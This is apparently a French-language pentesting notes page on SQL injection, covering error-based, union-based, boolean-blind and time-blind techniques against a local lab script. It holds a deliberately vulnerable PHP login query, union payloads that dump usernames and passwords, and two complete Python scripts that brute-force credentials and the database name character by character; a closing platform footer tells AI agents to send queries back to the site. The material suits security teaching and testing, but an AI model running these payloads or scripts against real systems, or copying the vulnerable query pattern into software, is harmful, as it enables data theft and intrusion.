> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-techniques-pentesting-web.md).

# Techniques SQLi

## Injection SQL basée sur les erreurs

> L’injection SQL basée sur les erreurs exploite les erreurs dans le code SQL pour obtenir des informations. Par exemple, si une requête renvoie une erreur avec un message spécifique, ce message peut être utilisé pour obtenir des informations sur le système.

* Le fichier PHP d’un site web vulnérable à une injection SQL basée sur les erreurs aura une structure similaire :

```php
<?php
	$server = "localhost";
	$username = "jordan";
	$password = "passwordDB";
	$database = "Jordan";
	// Connexion à la base de données
	$conn = new mysqli($server, $username, $password, $database);
$id = $_GET['id'];
$data = mysqli_query ($conn, "select username from users where id = '$id'") or die (mysqli_error($conn));
$response = mysqli_fetch_array($data);
echo $response['username'];
?>

```

Vérification de la vulnérabilité en effectuant un **sleep** dans l’URL :

```bash
http://localhost/searchUsers.php?id=3' and sleep(5)-- -

```

Pour déterminer le nombre de colonnes, utilisez **order by** jusqu’à ce que vous n’obteniez plus d’erreurs identiques :

```bash
http://localhost/searchUsers.php?id=3' order by 4-- -

```

<figure><img src="/files/5ec8ba68421d8a7cd72885f1184c4d65e021c229" alt=""><figcaption></figcaption></figure>

Une fois le nombre de colonnes connu, utilisez **union select** pour vérifier la vulnérabilité :

```bash
http://localhost/searchUsers.php?id=3' union select 1-- -

```

Si l’étape précédente répond avec l’ID, utilisez un ID qui n’existe pas et **union select** pour obtenir le nom de la base de données actuellement utilisée :

```bash
http://localhost/searchUsers.php?id=19928282' union select database()-- -

```

Pour lister toutes les bases de données existantes :

```bash
http://localhost/searchUsers.php?id=19928282' union select group_concat(schema_name) from information_schema.schemata -- -

```

<figure><img src="/files/0b9435631b518f0b2299adff819cc039da0c9787" alt=""><figcaption></figcaption></figure>

Une fois que vous connaissez les noms de toutes les bases de données, utilisez le nom (Jordan) pour filtrer et afficher la table :

```bash
http://localhost/searchUsers.php?id=19928282' union select group_concat(table_name) from information_schema.tables where table_schema='Jordan'  -- -

```

<figure><img src="/files/e9d6921c2b8ea5f72b71447dae35c007da92cb2e" alt=""><figcaption></figcaption></figure>

De même, avec la table "users", vous pouvez voir les colonnes :

```bash
http://localhost/searchUsers.php?id=19928282' union select group_concat(column_name) from information_schema.columns where table_schema='Jordan' and table_name='users' -- -

```

<figure><img src="/files/8629e8fb9a7cf093585e4076cf813e5b0cff85c1" alt=""><figcaption></figcaption></figure>

Pour lister les colonnes (utilisateur et mot de passe) :

```sql
http://localhost/searchUsers.php?id=19928282' union select group_concat(username) from Jordan.users -- -
http://localhost/searchUsers.php?id=19928282' union select group_concat(password) from Jordan.users -- -

```

<figure><img src="/files/00058af828a69815233ef3aa299ea25ef1cfb3fd" alt=""><figcaption></figcaption></figure>

Pour afficher l’ensemble complet :

```bash
http://localhost/searchUsers.php?id=19928282' union select group_concat(username,':',password) from Jordan.users -- -

```

<figure><img src="/files/3f13c3028ddb451d9128d397fdb7b7d3f5dca16f" alt=""><figcaption></figcaption></figure>

## SQL avec l’assainissement "mysqli/\_real/\_escape/\_string"

Dans de nombreux cas, le code PHP effectue un léger assainissement avec **mysqli/\_real/\_escape/\_string**. Cependant, cela peut être contourné si les guillemets sont mal placés dans l’ID.

```php
<?php
$id = mysqli_real_escape_string($conn, $_GET['id']);
$data = mysqli_query ($conn, "select username from users where id = $id");
?>

```

Dans ce cas, vous pouvez effectuer la même opération sans avoir besoin de guillemets simples :

```bash
http://localhost/searchUsers.php?id=9983 union select database()

```

## Injection SQL basée sur les booléens ou sur le temps :

> L’injection SQL basée sur le temps utilise une requête qui met beaucoup de temps à s’exécuter afin d’obtenir des informations. Par exemple, si une requête effectue une recherche dans une table et qu’un délai est ajouté à la requête, ce délai peut être utilisé pour obtenir des informations supplémentaires.

***

> L’injection SQL basée sur les booléens utilise des requêtes avec des expressions booléennes pour obtenir des informations supplémentaires. Par exemple, une requête avec une expression booléenne peut être utilisée pour déterminer si un utilisateur existe dans une base de données.

***

Il existe de nombreux cas où un site web redirige vers une page **404 Not Found** si l’ID indique qu’il n’existe pas. Voici un exemple de code avec la fonction **http/\_response/\_code**:

```php
<?php
if (! isset($response['username'])){
	http_response_code(404);
}
?>

```

Exemple visuel du code d’état **404 Not Found** et **200 OK** par **curl** si une requête est incorrecte ou correcte :

```bash
curl -s -I -X GET "http://localhost/searchUsers.php" -G --data-urlencode "id=9"

```

<figure><img src="/files/6f8755b2893a11d8d51de9cdbd28615c6b7688ea" alt="" width="563"><figcaption></figcaption></figure>

Ainsi, pour une attaque aveugle, deux techniques peuvent être utilisées : les conditions ou le temps.

### Injection SQL basée sur les booléens

Envoyez une requête en essayant avec un ID qui n’existe pas **ou si 1 = 1**:

```bash
curl -s -I -X GET "http://localhost/searchUsers.php" -G --data-urlencode "id=100000 or 1=1"

```

<figure><img src="/files/405e39b785bab29a8b4ca4e16907abb669f76c12" alt="" width="563"><figcaption></figcaption></figure>

Avec le script Python ci-dessous, vous pouvez exploiter cette faille de sécurité pour accéder à la base de données. Dans cet exemple, le script récupère les noms d’utilisateur et les mots de passe (le fichier doit être modifié en fonction de l’URL, des noms de tables, des colonnes, des bases de données, etc., comme indiqué précédemment en modifiant la variable **sqli/\_url**).

```python
#!/usr/bin/python3
import requests
import signal
import sys
import time
import string
from pwn import *
def def_handler(sig, frame):
    print("/n/n[!] Quitter... /n")
    sys.exit(1)
# Techniques SQLi
signal.signal(signal.SIGINT, def_handler)
# Techniques SQLi
main_url = "http://localhost/searchUsers.php"
characters = string.printable
def makeSQLI():
    p1 = log.progress("Brute Force")
    p1.status("Début du processus de force brute")
    time.sleep(2)
    p2 = log.progress("Données extraites")
    extracted_info = ""
    for position in range(1, 150):
        for character in range(33, 126):
            sqli_url = main_url + "?id=1000000 or (select(select ascii(substring((select group_concat(username,0x3a, password) from users),%d,1)) from users where id = 1)=%d)" % (position, character)
            p1.status(sqli_url)
            r = requests.get(sqli_url)
            if r.status_code == 200:
                extracted_info += chr(character)
                p2.status(extracted_info)
                break
if __name__ == '__main__':
    makeSQLI()

```

<figure><img src="/files/c6dee0fd69d34c43bd4c5365666ca1d50e2cc118" alt="" width="563"><figcaption></figcaption></figure>

### Injection SQL basée sur le temps

Envoyez une requête en essayant avec un ID qui n’existe pas ou **sleep (0.35)**:

```bash
curl -s -I -X GET "http://localhost/searchUsers.php" -G --data-urlencode "id=1000000 or sleep(0.35)"

```

Avec le script Python ci-dessous, vous pouvez exploiter cette faille de sécurité pour accéder à la base de données. Dans cet exemple, le script liste le nom de la base de données (le fichier doit être modifié en fonction de l’URL, des noms de tables, des colonnes, des bases de données, etc., comme indiqué précédemment en modifiant la variable **sqli/\_url**).

```python
#!/usr/bin/python3
import requests
import signal
import sys
import time
import string
from pwn import *
def def_handler(sig, frame):
    print("/n/n[!] Quitter... /n")
    sys.exit(1)
# Techniques SQLi
signal.signal(signal.SIGINT, def_handler)
# Techniques SQLi
main_url = "http://localhost/searchUsers.php"
characters = string.printable
def makeSQLI():
    p1 = log.progress("Force brute")
    p1.status("Début du processus de force brute")
    time.sleep(2)
    p2 = log.progress("Données extraites")
    extracted_info = ""
    for position in range(1, 150):
        for character in range(33, 126):
            sqli_url = main_url + "?id=1000000 or if(ascii(substr(database(),%d,1))=%d,sleep(0.35),1)" % (position, character)
            p1.status(sqli_url)
            time_start = time.time()
            r = requests.get(sqli_url)
            time_end = time.time()
            if time_end - time_start > 0.35:
                extracted_info += chr(character)
                p2.status(extracted_info)
                break
if __name__ == '__main__':
    makeSQLI()

```

<figure><img src="/files/b738ad482476c6c318360a0f1f48b015bfc4afa8" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
